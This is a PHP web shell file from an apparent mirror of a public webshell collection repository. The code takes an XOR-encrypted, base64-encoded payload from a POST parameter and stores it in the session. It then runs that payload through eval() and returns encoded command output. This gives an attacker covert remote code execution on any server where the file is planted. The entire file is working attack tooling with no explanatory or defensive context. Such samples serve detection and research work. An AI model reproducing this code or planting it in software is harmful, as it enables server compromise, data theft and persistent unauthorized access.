mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
31 lines
842 B
PHP
31 lines
842 B
PHP
<?php
|
|
@session_start();
|
|
@set_time_limit(0);
|
|
@error_reporting(0);
|
|
function encode($D,$K){
|
|
for($i=0;$i<strlen($D);$i++) {
|
|
$c = $K[$i+1&15];
|
|
$D[$i] = $D[$i]^$c;
|
|
}
|
|
return $D;
|
|
}
|
|
$pass='pass';
|
|
$payloadName='payload';
|
|
$key='3c6e0b8a9c15224a';
|
|
if (isset($_POST[$pass])){
|
|
$data=encode(base64_decode($_POST[$pass]),$key);
|
|
if (isset($_SESSION[$payloadName])){
|
|
$payload=encode($_SESSION[$payloadName],$key);
|
|
if (strpos($payload,"getBasicsInfo")===false){
|
|
$payload=encode($payload,$key);
|
|
}
|
|
eval($payload);
|
|
echo substr(md5($pass.$key),0,16);
|
|
echo base64_encode(encode(@run($data),$key));
|
|
echo substr(md5($pass.$key),16);
|
|
}else{
|
|
if (strpos($data,"getBasicsInfo")!==false){
|
|
$_SESSION[$payloadName]=encode($data,$key);
|
|
}
|
|
}
|
|
}
|